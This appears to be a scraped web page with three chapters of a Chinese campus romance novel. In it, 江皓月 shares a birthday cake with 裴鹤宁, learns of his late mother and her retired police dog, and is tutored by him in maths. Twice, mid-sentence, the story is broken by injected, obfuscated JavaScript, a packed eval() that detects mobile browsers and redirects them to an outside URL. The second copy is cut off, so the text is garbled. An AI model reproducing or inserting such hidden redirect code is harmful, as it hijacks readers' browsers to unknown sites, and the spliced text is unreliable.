江皓月越说越委屈:“如果你想跟这个人划清界限,那她送你蛋糕,你就给她买杯奶茶好了,反正自己做的也没花钱。” 裴鹤宁微微怔住。 他一直都是这样的人,从不会白白收下别人的好,更不习惯对人有所亏欠。 因为没有亏欠,所以可以干净利落划清界限,不与任何人走近,也不给任何人走近他的机会。 这样就省掉很多麻烦。 可是。 他想和江皓月划清界限吗? 请他吃糖的江皓月。 说要跟他认识一下的江皓月。 眉眼弯弯笑着等在教室门口的江皓月。 跟他买一样的雨伞、邀请他的鲸鱼一起游泳的江皓月。 一个人就不肯去吃饭的江皓月。 投篮投不进去自闭的江皓月。 开开心心捧着蛋糕来找他的江皓月。 “如果我不想呢?” 江皓月沉浸在委屈情绪里不可自拔:“什么?” 裴鹤宁冰冷的声线柔软:“如果我不想跟她划清界限,应该怎么做,你教教我。” 江皓月气鼓鼓的样子像河豚。 他都要跟她划清界限了,他还要跟谁不划清啊! 是不是生日收了很多小姑娘的礼物、其中就有他心仪对象送的? “那你就跟她说,我很喜欢,谢谢你!送礼物的人就会很开心了!” 说完,她站起身:“我要回家了,不跟你说了,蛋糕你送给不想划清界限的人吃吧……” 坏蛋! 超级无敌大坏蛋! 江皓月从小被宠着长大,整天乐呵呵、什么都不放在心上,但不可避免有一点被惯着的小孩子脾气。 但有脾气,也是软绵绵的脾气,最后她还不忘尽职尽责地叮嘱:“那个小蘑菇的插件不能吃,记得取出来,不然吃了会嘎的!” “江皓月。” 江皓月紧抿着唇,目光幽怨,没好气道:“干嘛?” 月光似乎格外偏爱眼前的少年,落了他一身。 裴鹤宁薄唇轻启,一字一顿重复她刚才教他的:“蛋糕我很喜欢,谢谢你。” 江皓月心脏骤然发紧,像被攥住。 可那双漆黑锋利的眼睛,睫毛浓黑,目光平静温和,却像是藏着一只受伤的小狗。 他的眼尾轻轻弯起,很温柔的弧度,语气很软,这下是真的在哄人了:“坐下一起吃蛋糕好不好?” 8. 第 08 章 “梁蜚,他没有把我当朋友。”——仓颉《玻璃糖纸》 - 好好一个冰山帅哥,软着声音哄人,甚至还用那双漂亮眼睛一眨不眨盯着她看,配上长长的睫毛,显得好无辜、好无害…… 谁能扛得住? 谁爱扛谁扛反正她是扛不住了! 江皓月那点软绵绵的小孩子脾气,冰激凌般化掉,心软得一塌糊涂。 原本因为生气、委屈微微嘟起来的嘴,这下也嘟不住了,嘴角疯狂想要上扬,内心有个旋转跳跃的小蘑菇在撒花花:原来,不想划清界限的人是她呀! 她重新在裴鹤宁旁边坐下来,小圆脸上瞬间多云转晴,弯弯的眉眼特别治愈。 但是…… “你不回家和爸爸妈妈一起吃蛋糕吗?” 裴鹤宁摇头。 江皓月又问:“阿姨和叔叔出差去啦?去很远的地方赶不回来嘛?” 男生长而卷的睫毛低低垂着,一如既往没什么情绪地说:“算吧。” 难怪他生日也不怎么高兴的样子。 江皓月皱着脸:“你不早说,不对,我应该早一点问你的,那样起码可以叫上欢乐哥一起吃饭……” 她每年都很期待生日的,完全无法想象生日这天被丢下一个人。 突然,那双紧盯着裴鹤宁的大眼睛一亮,她提议:“要不你跟我去我家吃饭吧?我爸做饭可好吃啦!” 她亮闪闪的眸光里,都是真诚,一点儿都不觉得带个陌生男同学回家吃饭有什么不妥。 裴鹤宁无奈道:“不合适。” 小巧思被无情驳回,江皓月的脑袋又耷拉下去,她很自责,就好像裴鹤宁一个人过生日是她的错。 “怎么了。” 江皓月坐得可老实,两手攥在一起,垂着脑袋看鞋尖,声音绵绵的还带了点儿鼻音:“我不想你一个人过生日嘛。” “没有一个人。” 生日对裴鹤宁来说没有任何特殊含义,带他来这个世界的人已经不在,他自己都忘记。 他都不在乎的事情,江皓月却在真情实感地为他难过,他不自觉放柔了语气问:“切蛋糕吗?” 江皓月在蛋糕盒子里,很贴心地放了和蛋糕同色系的蜡烛、碟子和刀叉,她是美术生,对色彩搭配敏感且要求极高,可受不了自己做的蛋糕插一堆花花绿绿的丑蜡烛。 她插上蜡烛,又跑进便利店问店员借打火机,烛光亮起之后,小小的六寸蛋糕变成夜晚的海洋馆,鲸鱼游弋,海星漂浮,一派天真烂漫。 “裴鹤宁,许个愿吧。” “我没有愿望。” “怎么会没有愿望呢?我每年三个愿望都不够,只能从一大堆愿望里挑最喜欢的,还有好多没排上队的……” “许的愿望实现了吗?” 江皓月重重点头,片刻后嘴角抿不住笑:“因为我都一边许愿一边说出来的。” 裴鹤宁嘴角一弯,语气不自觉带了点纵容:“那我的送给你,你来许。” 江皓月脆生生应了:“好耶。” 她把双手握在胸前,闭上眼睛,嗓音含笑:“希望裴鹤宁同学以后多笑笑吧,他笑起来特别好看。” 心脏像是被羽毛拂过,裴鹤宁目光低垂,落在面前的女孩子身上。 她一边说,一边把闭上的眼睛睁开一道缝,偷偷打量他的神情:“如果现在他愿意现在笑给我看,愿意给我看看梨涡的话,就更好了。” 裴鹤宁已经被她逗笑,笑起来时眼尾和嘴角都是弯弯的弧度,透出少年人独有的青涩温柔。 怎么五官英挺冷淡的一张脸,会长那么甜的梨涡呢?江皓月心都要融化了。 “第二个?” “希望裴鹤宁同学生日快乐,不止生日快乐,每天都快乐。” “还有第三个。” 江皓月虔诚地闭上眼睛,睫毛投下扇形的阴影,只不过这次,她没有说出口。 有风拂过,裴鹤宁伸手,骨节分明的手指小心翼翼挡在蜡烛旁边,在江皓月说完自己的愿望之前,不让它熄灭。 他不信这些,可他希望她没有说出口的、认认真真许下的愿望能够成真。 这天晚上,江皓月的账号上传了一张新的画—— 过生日的小鲸鱼带着金灿灿的小王冠,小蘑菇在它旁边捧着蛋糕眉眼弯弯。 下面写着,她没有说出口的心愿—— “虽然我一直很想要你也喜欢我一下下。” “但我更希望,你以后都不要一个人了。” - 日历翻到十二月。 周末,江皓月从画室回来,推开家门,香气扑鼻。 她放下书包换下鞋子跑进厨房,锅里正咕嘟咕嘟炖着什么:“红烧排骨?” 爸爸掀开锅盖给她看:“话梅排骨,你尝一块。” 江皓月点头,眼睛亮晶晶,像等待投喂的小狗。 爸爸笑着:“慢一点,烫。” 排骨递到嘴边,江皓月咬住,她瞪圆眼睛,一个劲儿朝着爸爸竖大拇指:“好好吃啊!” “你要给欢乐哥送一点吗?” 江皓月毫不犹豫地点头:“嗯!” 爸爸从橱柜里取出打包饭盒:“我给他盛出来。” 何嘉豪爸爸妈妈离婚后,各自有了自己的新家庭,又各自有了新的儿子女儿,何嘉豪是那个旧旧的孩子,住在旧旧的房子里。 但是她不一样。 她不仅有很爱自己、总是让她觉得心脏软软的父母,还有一大家子人看她跟看宝贝似的,她都这么大了,能好好吃饭都会被夸奖。 可是她的好朋友却不像她,何嘉豪被父母扔下,梁蜚有时候返校眼睛是红肿的,裴鹤宁周末都在图书馆、晚饭靠便利店的饭团和三明治解决。 有时候她会觉得很抱歉,抱歉到就好像这个世界上的幸福有限,却被她占去大半。 所以她总是想要对他们好,总是给他们带香香软软的小蛋糕,希望他们开心一点。 何嘉豪这会儿眼睛正盯着电脑屏幕:“领养公告今天挂出来,什么时候会被领养走?” 裴鹤宁声音没有起伏:“一个月左右。” “那就是我们寒假那会儿呗?要不你租个房子,先把辛巴带回来再说,我看看领养条件都有啥?” 何嘉豪点击鼠标,只见公告里明明白白写着:领养警犬需要领养者工作稳定、房屋面积适合大型犬活动、有养犬经验。 这些,未成年的高中生裴鹤宁,一条都不符合。 何嘉豪怎么想这都是个死局:“你爸不同意的话,谭叔叔能不能领养?不是挺多警犬训导员亲自领养的吗?” 裴鹤宁:“他养不了。” 谭将明说过,辛巴已经八岁了,德牧的寿命就十多年,警犬恐怕还要更短一些。那场抓捕行动带走了他的战友也要了他半条命,他没办法再在几年之后送走辛巴。 何嘉豪手机震动,江皓月打来语音:“我在门口,快来开门!” 何嘉豪开门:“叔叔又做什么好吃的了?” 江皓月把饭盒往他怀里一塞:“话梅排骨和大米饭,你就吃吧,一吃一个不吱声!我走……” 那个“了”还没出来,她就发现不对,客厅沙发上还坐了个人,看不到人,但能看到腿,那么老长…… 于是嘴里的话急匆匆刹车又拐了个弯,变成:“我走不动了,要歇一会儿,给我倒杯水。” 平时大大咧咧元气满满的语调,也变得有一点软,江皓月顺顺头发,理理衣服,人就进了门。 果不其然,沙发上坐了个抱着笔记本的裴鹤宁。 少年黑发垂在额头,蓬松柔软光泽度很好的样子,深蓝色卫衣搭配白色运动长裤,配色干净清爽赏心悦目,看向她的那一眼,像有海风吹过来。 视线相对,江皓月未语先笑:“我真是碰巧来的!” 虽然平时她很喜欢跟在裴鹤宁身后去食堂、去操场、去学校门口,虽然她真的很想在周末也见到他,但,真的是碰巧。 裴鹤宁轻轻说了句:“不是碰巧也没关系。” 说完,就继续低头去看电脑,侧脸是一道俊秀的弧线。 嗯? 江皓月眨巴眨巴眼睛:“你在看什么?” 她在他身侧坐下,凑近了些,网页上的标题是“退役警犬征集爱犬人士领养”,屏幕里是一只看起来特别凶狠的德国牧羊犬,名字叫辛巴。 江皓月问:“狗狗脸上的毛怎么是白的呀?” 裴鹤宁:“因为它年纪大了。” 江皓月又问:“你们为什么要看退役警犬呀?你们要领养吗?” 她转头去看屏幕里狗狗的简介,小声读了出来:“执行任务时,辛巴为掩护刑侦支队队长,咬住嫌疑犯不放,背部被刺一刀……” “好勇敢的狗狗,那它掩护的刑警呢?是不是没事啦?要我说,应该这个队长领养它,它是救命恩人呢,不对,救命恩狗……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234517|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何嘉豪整个人一僵。 他记得出事那天,他和裴鹤宁竞赛辅导班下课,一起去花店买了花,因为是母亲节。 救护车呼啸而过,后面跟着无数辆警车,其中一辆猛地停下,谭将明喊:“鹤宁,上车。” 江皓月还在喋喋不休:“它脸上的毛都白了,应该年纪很大了,领养回来,可能也不能陪自己很久……到时候不是很难过吗……” 何嘉豪急眼了,想要绕开这个话题,有些口不择言地说:“你哪儿来那么多问题呀?但凡数学课的时候有那么多为什么,还能考不及格吗?” 江皓月茫然又无辜:“我不知道我才问的呀。” 但是何嘉豪不让她问,裴鹤宁也没有跟她解释一下的意思。 她不是想要窥探别人的隐私,她就是想知道任何人和事都不感兴趣的裴鹤宁,为什么要在这看退役警犬。 三个人在场,两个人心照不宣,只有她不知道的感觉,很不好。 她变成了外人,又或者说,在裴鹤宁眼里,自己并不像何嘉豪、是可以交心的朋友。 “行吧,你们好朋友之间总是有很多小秘密,那我回家了。” 裴鹤宁抬头,江皓月只留给他一个脑袋耷拉着的背影。 脑海却浮现,刚进门时她看向他的那一眼,瞳孔很亮,尽是明晃晃的笑意。 - “梁蜚,他没把我当朋友。” 江皓月从书包里拿出两个蛋糕盒子,让梁蜚挑:“抹茶还是栗子?” “栗子,谢谢,”梁蜚接过,“为什么这样说?” 江皓月垂头丧气:“周末我看到他在看退役警犬领养,我想知道为什么,何嘉豪不说,裴鹤宁也不说……” 梁蜚若有所思,温声安抚:“可能是不知道怎么说吧。” 江皓月皱眉:“那他为什么跟何嘉豪说了呀?就是没把我当朋友嘛。” 喜欢一个人,好像会变得贪心。 明明一开始,她想的是跟他认识一下。 后来认识了,她就想他不要和她划清界限。 他乖乖听她的,她又希望,他不要有瞒着自己的秘密。 明明小时候妈妈就教过她,别人愿意告诉你的事情,你就听着,别人不愿意告诉你的事情,你也不要问。 她一直都很有分寸感的,怎么分寸感在裴鹤宁这里就作废了呢? 她什么都愿意告诉他,但他好像和她不一样。 如果以后,她都不主动去找他了,他是不是也不会主动找她? 江皓月心里乱糟糟的。 她没有办法再像往常“黏着”裴鹤宁。 晚上放学她不再在教室门口等他一起走,吃饭去食堂裴鹤宁旁边位置空着、她也不会开开心心坐过去。 睡觉前也不会像平时,点开裴鹤宁的对话框,跟他说些有的没的,虽然他也就回个“嗯”、“好”,但往常她都聊得可起劲了。 但她又会无数次拿起手机,看有没有裴鹤宁发来的消息。 没有。 放学的时候,窗外又下雨了。 江皓月收拾好书包,拿起小鲸鱼雨伞,又不可避免地想起裴鹤宁。 好像只要她不主动缠着他,他们就是会像现在这样,不会再有一点交集。 看来他对她真的一点点喜欢都没有…… 心脏变成吸饱雨水的海绵,沉甸甸堵在胸腔,江皓月想东想西地往外走。 却没想过,迎面撞上等在门口的男生。 这样阴沉沉的雨天,光线昏暗,男生瘦高,眉眼清晰流畅,浓黑睫毛下目光似乎没有焦点,天生透着不为任何人和事所动的淡漠。 他可能也不是来找她的,视线撞上,江皓月很有礼貌地点了个头,从他身边经过。 “江皓月。” 江皓月闷声闷气:“你找我有事呀?” 裴鹤宁低声:“外面下雨了。” “所以呢?” 裴鹤宁用他的伞,慢慢碰了一下她的。 两只因为主人别别扭扭没有见面的小鲸鱼,在这一刻轻轻贴贴。 江皓月蓦地想起那天,她也是这样用自己的伞碰了一下裴鹤宁的伞。 心口仿佛有尾小鱼“扑通”一下跳出水面,瞬间搅乱她的心跳,她抬眸,对上少年清澈如水的眼睛。 裴鹤宁看着她,眼神里有种不曾示人的温柔,低而轻的嗓音缓缓落在耳边:“所以我来,等你的小鲸鱼一起游泳。” 9. 第 09 章 “梁蜚,他请我吃栗子蛋糕啦!”——仓颉《玻璃糖纸》 - ——“等以后下雨天,两只小鲸鱼就可以一起游泳啦!” ——“下雨了,所以我来,等你的小鲸鱼一起游泳。” 裴鹤宁惯常冷冽干净的嗓音,微微压低带了一点鼻音,每个字音都扑腾着小翅膀刷啦啦飞进她的心里。 她小孩子一般的幼稚发言,竟然会被他记住、被他当真、被他放在心上,然后在她单方面别别扭扭的时候,先低头,过来等她放学。 男生头发柔顺,睫毛浓密低垂,安静等她回应的样子,有些乖,就好像冷冷淡淡如他,也是可以被伤害的。 心脏变成阳光晒过的蓬松云朵,轻飘飘的,一片绵软。 “好啊,一起。” 江皓月脆生生应了,也没仗着今天的裴鹤宁格外温柔、让他再哄哄自己,就笑得眉眼粲然。 雨伞撑开,两只小鲸鱼重逢,在淅淅沥沥的雨里,从伞上游回了深海。 江皓月仰头看着,眼尾不自觉弯起,鲸鱼游弋在她的瞳孔,一片清亮。 以前她可讨厌下雨天了,但从今天开始,她决定认真喜欢每一个下雨天。 “江皓月。” “嗯?” 裴鹤宁不是一个会蒙混过关的人,他知道她那天不高兴了,他不会在她高兴之后,就当什么事都没发生过。 他不知道怎样开口,但还是开口了,语气不像平日冷淡得游刃有余:“我……没有跟别人说自己的习惯。” 江皓月目光幽怨:“哦!我是别人呢!” 少年抿唇:“我不是这个意思。” 江皓月眉眼无辜:“那是什么意思呀?” “辛巴,是我妈去世前一起执行任务的警犬。” 雨滴落在伞外,世界寂静无声。 少年嗓音清冷,每个字音,都像一把尖刀:“我妈还在的时候,说要和辛巴一起退休。” 去世前。 还在的时候。 那他的意思是…… 江皓月僵在原地,希望是自己听错了:“你生日的时候,不是说妈妈出差了吗?” “她一直都在出差,”他说起母亲,语气不自觉柔软下来,“所以这次,我也当她出差了,只不过几十年后才能再见。” “那辛巴呢?” 江皓月迫切想要一个答案,可是裴鹤宁这个人好像天生感情匮乏,说起别人的事情那般、平铺直叙道:“我爸有了新的交往对象,不同意我领养辛巴。” 江皓月是妈宝女,但凡妈妈在家,她都粘在妈妈身边讨人嫌,有时候只是想想很多年后、妈妈爸爸会离开自己,都要忍不住掉眼泪。 她想象不出如果没有妈妈她会怎么样,何嘉豪父母离婚她尚且觉得不能接受。 裴鹤宁的妈妈,竟然已经不在了。 他的爸爸,找了新对象的话,裴鹤宁怎么办? 难怪她问他周末做什么,他总是说图书馆、图书馆、图书馆。 她一直以为像他这样身高长相头脑都顶尖的男孩子,是会被家里人好好爱着的。 所以那天他不愿意说。 所以提一次就是把伤口又撕裂一次…… 她竟然一遍一遍地问。 她还因为他不告诉自己生闷气。 她还说,最应该领养辛巴的是那位刑侦支队队长…… 耳边只有雨滴落在伞面的声音,平日里爱说爱笑的女孩子始终沉默。 裴鹤宁垂眼,江皓月伞面压得很低,挡住她半个身子,只有头顶的小鲸鱼闷闷不乐往前移动。 他用自己的伞把她的伞抬高,却猝不及防,对上一双通红的眼睛。 心软如泥,裴鹤宁眼神里有了无措情绪,嗓音放得不能更轻:“江皓月,我请你吃蛋糕好不好?” “好不好”三个字,简直是江皓月的心动开关,从裴鹤宁嘴里说出来,温柔得能溺死人。 蛋糕店的香气和灯光,江皓月都很喜欢。 她弯着腰在柜台前探头探脑,侧面看去,卷翘而长的睫毛扑闪,鼻尖微翘,嘴里还在小声咕哝着:“我要宠幸哪个宝贝呢?瑟瑟发抖吧小蛋糕们!” 裴鹤宁的嘴角无声弯起。 “裴鹤宁,我要栗子蛋糕!” “好。” 江皓月捧着蛋糕,找了个能看街景的、窗边的位置。 她迫不及待想要尝第一口,忘记书包还背在肩上,最后还是裴鹤宁提醒:“书包给我。” 江皓月把书包递给他,小叉子照着黑巧薄脆和栗子泥下去,被好吃得一个激灵:“吼吼吃!” 裴鹤宁嘴角弯起,并不说话,侧脸精致得像画出来的,面前摆着一块绿得很漂亮的抹茶蛋糕。 江皓月眨了眨眼睛:“你喜欢吃抹茶呢,那我生日蛋糕做得还挺好。” 那一个星期,江皓月每天找梁蜚和欢乐哥试哪个口味好吃,最后他们都说抹茶好吃,她就做了抹茶口味。 裴鹤宁没有说,他并不是喜欢抹茶,只是因为那天她送的蛋糕是抹茶口味,所以他看到抹茶才会想要买下试试。 江皓月雨过天晴,开始蹬鼻子上脸:“我这几天不去烦你你是不是不习惯啦?” 裴鹤宁淡声:“没有。” 江皓月咬着蛋糕叉子蹬人,眼睛像泉水洗过的鹅卵石,黑亮黑亮的。 裴鹤宁低低说了句:“我是说,你没有烦我。” 江皓月嘴角翘起,甜度比栗子蛋糕还要高:“那为什么我给你发信息你都嗯、哦、要么就一个句号,还说没有烦呢。” 裴鹤宁只说:“烦的人不会回。” 原来是这样呀…… 心脏好像变成栗子蛋糕上的奶油悄无声息,甜甜融化, 吃完蛋糕,两人重新背上书包。 雨停了,天边竟然还弯起一道彩虹。 江皓月后知后觉问了句:“你为什么请我吃蛋糕呀?你明明不吃甜。” 身侧少年瘦高,长睫浓黑,鼻梁挺直,下颌线清晰锋利透着冷,可目光温和得不像话:“你说吃甜的心情会好,现在好一点了吗?” 明明一直以来难过的人是他,可他还在反过来哄她开心。 心脏酸软一片,江皓月迎着那道清亮如水的目光点头。 少年轻扬眉:“走吧,回家。” - 江皓月单方面和裴鹤宁别扭了好几天,这几天很有出息,一条消息都没有给他发。 今天和好了,不用忍着了,晚上她躺在玩偶堆里,美滋滋点开裴鹤宁的对话框。 小蘑菇:【你明天还去图书馆吗?】 裴鹤宁:【嗯】 小蘑菇:【好高冷呦……】 于是裴鹤宁撤回了“嗯”,发了个“嗯嗯”。 然后他问:【这样可以了吗】 哄小孩儿似的,莫名有点纵容意味。 江皓月被可爱到,在床上滚来滚去。 小蘑菇:【那我上午去画室,下午去找你!】 裴鹤宁:【好】 小蘑菇:【明天见!蘑菇撒花.jpg】 裴鹤宁:【明天见】 发完消息,江皓月还抱着手机看聊天记录,不舍得放下,妈妈过来喊她:“还不洗澡睡觉呢?” 江皓月顶着在滚得乱糟糟的头发起身,很认真地说:“妈妈,我想跟你还有爸爸商量一件事。” 于是许医生喊了声老江,两人一个在她床边、一个在她书桌旁坐下了。 江皓月盘腿坐在床上,把事情说了,说完,满怀期待地扑闪着一双大眼睛。 过了好一会儿,妈妈开口:“我有个条件。” 肯讲条件那就是有希望呀! 江皓月搂着妈妈的肩膀问:“什么条件?” 爱撒娇的、爱笑的、爱粘人的女儿真的很难抵抗,妈妈故作严肃:“别影响我思考,坐好。” 她问:“你们班主任说,如果想去清华美院,数学得考多少来着?” 江皓月噘着嘴:“至少得100……” “那你上次期中考试考了多少?” 江皓 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江皓月走过去,在何嘉豪右边、裴鹤宁的对面坐下,这样她学习学累了,抬头就是crush的美色暴击。 何嘉豪不知道她来,傻眼了:“请问江皓月是你的双胞胎姐妹吗?” 江皓月把书和花花绿绿的文具摆好:“我就不能是江皓月本人吗?” 何嘉豪反问:“江皓月怎么可能来图书馆?” 江皓月:“我妈说下次数学考试如果能考90分往上,她就满足我一个心愿。” 何嘉豪嗤笑:“数学考90?还不如直接说不答应你呢。” 江皓月不乐意了:“你这个欢乐哥怎么还瞧不起人呢?” 她翻开数学作业,表情有种视死如归的悲壮。 会写的写,不会的跳,连猜带蒙,眉头死紧。 “你看她,写作业用脸写,”何嘉豪用笔戳对面的裴鹤宁,“就这么一会儿,脸都皱成苦瓜了。” 江皓月眉心蹙着,嘴唇也抿得很紧,手握着笔一顿忙活,茫然抬头:“何家豪,你看这题是不是选项错了?” 不然为什么没有她算出来的答案? 何嘉豪瞅了一眼说选“C”,抽走江皓月的习题册,在草稿纸上写了几个公式:“懂了吗?” 江皓月眼花缭乱,茫然道:“然后呢?” 何嘉豪也很茫然,不知道这么简单的题江皓月哪里不懂:“然后答案就出来了啊!” 江皓月顶着一脑门的问号。 何嘉豪:“江皓月。” “啊?”江皓月眼神无辜。 何嘉豪躲远了才敢开口:“你是不是真的有点笨啊?” 江皓月怒:“你今年都吃不到我爸做的红烧排骨了。” 何嘉豪很无奈:“你这文化课成绩,到时候考美院能够吗?” “不够啊……”江皓月重重叹了口气。 上次期中考试,距离美院分数线一百多分呢。 裴鹤宁不知道什么时候停下笔,目光淡淡扫过她面前的习题册。 江皓月皱着小脸,很忧郁地问他:“我真的很笨吗?” 愁眉苦脸的模样,平时少见,看得裴鹤宁忍俊不禁。 江皓月等他的回答。 他这么聪明,成绩比何嘉豪更拔尖儿。 很有可能,何嘉豪在他眼里都是笨蛋…… 那她在他眼里,可能是比笨蛋更笨蛋的存在。 裴鹤宁垂着长睫毛不说话,江皓月两手抱拳,绷着小脸说:“对不起,是在下自取其辱了。” “别听他的。” 两人同时开口,两道声线一道冷冽一道柔软重合在一起。 江皓月蓦地抬头,像蔫掉的小蘑菇重新见到雨露和阳光。 “是题难。” 少年眼睛弯下去的弧度,温柔又好看,冰冷的嗓音放轻、带着一点哄人的鼻音:“过来我给你讲。” 10. 第 10 章 “梁蜚,他请我吃糖了诶!”——仓颉《玻璃糖纸》 - “不是吧裴鹤宁,你哄孩子呢?” 何嘉豪跟裴鹤宁认识这么久,什么时候听过他用这样的语气说话?而且还是对一个女生! 但是比冰山突然温柔更恐怖、更不可思议的,是他竟然说题难! 这两个字从谁嘴里说出来,都不可能从他的嘴里说出来,他们以前一起搞竞赛,高中数学早就学完了! 江皓月有人撑腰,昂着下巴尖朝何嘉豪重重“哼”了一声。 她卷铺盖卷似的、抱着她花花绿绿的文具和习题册,坐到裴鹤宁身边:“我还没跟你坐过同桌呢!” 这样近的距离,余光里,他深蓝色卫衣袖口露出一截冷白的手腕,手背皮肤下筋骨清秀分明,鼻尖是他身上好闻的柠檬香。 江皓月觉得很有必要给裴鹤宁提个意见:你以后来图书馆能不能不要香香的、帅帅的,我会无心学习的! 但她很拎得清,现在不是沉迷美色的时候,把习题册摊开:“小裴老师,请讲。” 裴鹤宁看了眼题,翻开数学课本,找到对应的知识点:“这一章上课的时候听懂了?” 因为是在图书馆,男生嗓音压得又低又轻,有一点气音,落在耳边有种轻声细语的感觉,温柔又好听。 江皓月指了指某个知识点:“从这儿开始就不懂了。” 于是裴鹤宁就用他因为压低而显得格外温柔的嗓音,从她卡壳的位置开始给她讲了一遍,声音好听也就算了,他还会时不时停下来,用那双勾人的、睫毛长长的大眼睛看着她,问:“我有讲明白吗?” 不是“你听懂了没有”,而是“我有没有讲明白”。 江皓月不想让他失望,点头点得很心虚,又在对上裴鹤宁的视线后,忍不住说了实话:“还是没有明白,可能我真的笨吧。” “你当我骗你啊。”何嘉豪嘴上没有把门的。 裴鹤宁扫他一眼,他立刻做了个在嘴上贴封条的动作。 “没关系,我们慢慢来。” 冷而清澈的嗓音,有种让人心安的魔力。 讲到第二遍结尾的时候,裴鹤宁还没说完,江皓月就能自己接上话往下说了。 她像个初入江湖的小菜鸟,突然得到一本通关秘籍,眼神炯炯地说:“我要长脑子了!” 裴鹤宁不懂她奇奇怪怪的形容,只说:“现在再做一遍刚才的题。” 江皓月在草稿纸上算算写写:“果然是C!” 午后阳光从高高的窗户落进来,她卷翘的睫毛被染得金灿灿,瞳孔特别的亮,有光一闪一闪:“你也太厉害了小裴老师!” 裴鹤宁把数学作业里、同个知识点的习题都打勾:“然后做这些。” 何嘉豪已经被对面的这一幕惊呆。 他对裴鹤宁说:“她从小到大没认真学过习。” 转头又对江皓月说:“他从小到大没给笨蛋讲过题。” 江皓月鼻子出气作为回应:“你还在这儿上押上韵了。” 她一道题没写完,又蓦地抬头,像个上课不好好听课、小动作还特别多的问题学生,用笔头戳戳裴鹤宁。 裴鹤宁垂眸,江皓月几乎凑到他的眼皮底下,发丝柔软,脸颊的小绒毛清晰可见。 她身上柑橘的香气拂过鼻尖,他不动声色,轻往后靠。 “我要是全做对了有奖励吗?”江皓月瞳孔亮闪闪地问。 何嘉豪忍不住出声:“过分了江皓月,他教你都没要学费和精神损失费。” 江皓月也不恼,“嘿嘿”一笑:“不好意思,在家要奖励要习惯了。” 何嘉豪是真的纳闷:“你为什么突然这么努力啊?” 江皓月从小到大,没对何嘉豪隐瞒过什么事情,老实巴交地说:“我也很想告诉你呀,但是如果做不成,说出来就会很让人失望。” 所以就她自己努力一下就好了。 做成了最好,大家都开开心心。 如果做不成,到头来失望的也只有她自己。 她小声说:“我不喜欢让人失望。” - 何嘉豪跟江皓月一起长大,情同手足,江皓月眼珠子一转,他就知道她动了什么歪心眼。 但最近江皓月学习热情空前高涨,他是真的有点看不懂了。 江叔叔和许阿姨都是学医出身,一个医学院教授,一个三甲医院主任医师,两人从不“鸡”娃。 因为见惯生死,而成绩好坏在生死面前轻如尘埃,他们对江皓月的要求,一直都是快乐长大。 江皓月确实也长得很快乐,在美术上天赋值点满,从小到大没吃过学习的苦,不止是学习的苦没吃过,什么苦都没吃过,不管是江家还是许家都把她当掌上明珠,从小要星星给星星,要月亮给月亮。 到底想要什么,要死磕数学呢? 何嘉豪想不通,回头去看裴鹤宁。 裴鹤宁正在笔记本上写什么,眉眼相当专注,字迹也相当认真,都不是他平常惯用的那种很潇洒的连笔。 这几天的课间、晚自习他都在座位上没怎么动过,平时老师一走这哥就会趴下补觉的。 怎么一个两个的都这么反常呢? 何嘉豪凑过去定睛一看:“这种一眼就能看出答案的题,你整理了做什么?江皓月的水平才需要整理这些。” 裴鹤宁没抬头,只问:“你觉得画画简单吗。” 何嘉豪下意识说:“当然不简单,我之前看江皓月徒手画圆手都不抖的。” 裴鹤宁没什么情绪地说:“那她说过你笨吗。” 何嘉豪这才意识到裴鹤宁是想表达什么意思。 有些话说一次是玩笑,说两次就会当真,他从小和江皓月互损惯了,有时候没了分寸自己根本意识不到。 “裴鹤宁!有人找!” 江皓月站在重点班门口,挥了挥手里的习题册,笑着用嘴型说:“我又来问你题啦!” 她校服外面套了一件明黄色的羽绒服,柔软暖和蓬松,像一枚刚刚升起的小太阳。 最近她总是这样风风火火跑来,把裴鹤宁当个“哪里不会点哪里”的学习机,用完就风风火火回班。 重点班有人看不下去了,阴阳怪气道:“自己没有班吗?怎么天天课间往别人班跑。” 江皓月刚要反驳“教室门口又不是你家公摊面积”,就听见少年平静问:“她是来找你的?”语气无波无澜。 女生下意识说:“不是,是来找你的……” 裴鹤宁淡声:“那她来找我,跟你有什么关系。” 江皓月刚才还生气呢,这会儿凑到冷冰冰的少年眼皮底下:“裴鹤宁,你护着我呢!” 裴鹤宁只问:“哪道题。” 江皓月翻开课本,给他展示自己上节课、记得满满当当的数学笔记:“你看,我上节课都听懂了,只有这里还有一点点不会……” 课间不过十分钟。 铃声响起时,江皓月把书合上:“我回去上课啦。” “这个给你。” 江皓月垂眼,裴鹤宁手里有一袋柠檬糖,是她最常买的那一种,每一颗糖果都像柠檬色的大珍珠。 她惊喜:“为什么给我买糖呀?我最喜欢这个柠檬糖了!” 少年浓密眼睫下,眼尾轻轻一弯,瞳孔色泽明净柔和:“奖励。” - 一天的课加晚自习上下来,江皓月从元气满满的蘑菇,变成干瘪的蘑菇干。 她无精打采,头昏脑涨,走路都要睡着。 “这是怎么了?”爸爸接过她的书包,又给她拿出拖鞋。 话痨如江皓月,此时也只能蹦出一个字:“累。” 江教授关切道:“学数学学的?” 江皓月点头。 江教授不忍心:“要不别90了,85也很好。” 江皓月没有什么力气地提了提嘴角:“哪能说话不算话呢!” 她回到房间,先换下衣服趴在床上缓了一会儿,然后去卫生间洗了把脸,准备把今天没有写完的作业写完。 一个公式都写不动的时候,她拿出速写本,在上面涂涂画画,给自己产一点精神食粮。 画完后,她坐在书桌前,脑袋枕在手臂上,戳开裴鹤宁的对话框:【裴鹤宁,你在做什么?蘑菇揣手.jpg】 裴鹤宁:【写作业。】 江皓月之前听何嘉豪说,裴鹤宁从不会把作业带回家,因为他写题飞快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 